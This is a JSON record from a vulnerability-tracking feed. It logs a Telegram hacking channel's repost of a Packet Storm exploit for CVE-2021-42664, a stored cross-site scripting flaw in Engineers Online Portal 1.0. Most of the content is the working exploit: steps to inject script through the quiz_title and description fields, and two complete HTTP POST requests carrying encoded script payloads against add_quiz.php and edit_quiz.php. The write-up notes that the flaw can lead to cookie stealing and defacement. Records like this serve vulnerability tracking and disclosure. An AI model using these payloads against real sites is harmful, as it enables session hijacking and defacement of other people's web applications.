{"uuid": "30872eb0-b184-4bfb-9140-d20b265ead8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42664", "type": "seen", "source": "https://t.me/hacking_Attack/28940", "content": "Exploit Collector\nEngineers Online Portal 1.0 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png \nEngineers Online Portal version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 8c84a5a5c419cd77b5e78bb0e295b80e\n\nDownload\n# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)\n# Exploit Author: Alon Leviev\n# Date: 22-10-2021\n# Category: Web application\n# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip\n# Version: 1.0\n# Tested on: Kali Linux \n# CVE : cve-2021-42664\n# Vulnerable page: add_quiz.php\n# Vulnerable Parameters: \"quiz_title\", \"description\"\n\nTechnical description:\nA stored XSS vulnerability exists in the Engineers Online Portal. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. \n\nSteps to exploit:\n1) Navigate to http://localhost/nia_munoz_monitoring_system/add_quiz.php\n2) Insert your payload in the \"quiz_title\" parameter or the \"description\" parameter\n3) Click save\n\nProof of concept (Poc):\nThe following payload will allow you to run the javascript - \n---\n\nPOST /nia_munoz_monitoring_system/add_quiz.php HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 91\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/add_quiz.php\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_title=%3Cscript%3Ealert%28%22This+is+an+XSS%22%29%3C%2Fscript%3E&description=xss&save=\n\nOR\n\nPOST /nia_munoz_monitoring_system/edit_quiz.php?id=6 HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 101\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/edit_quiz.php?id=6\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_id=6&quiz_title=xss&description=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E&save=\n\n---\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:38.818418Z"}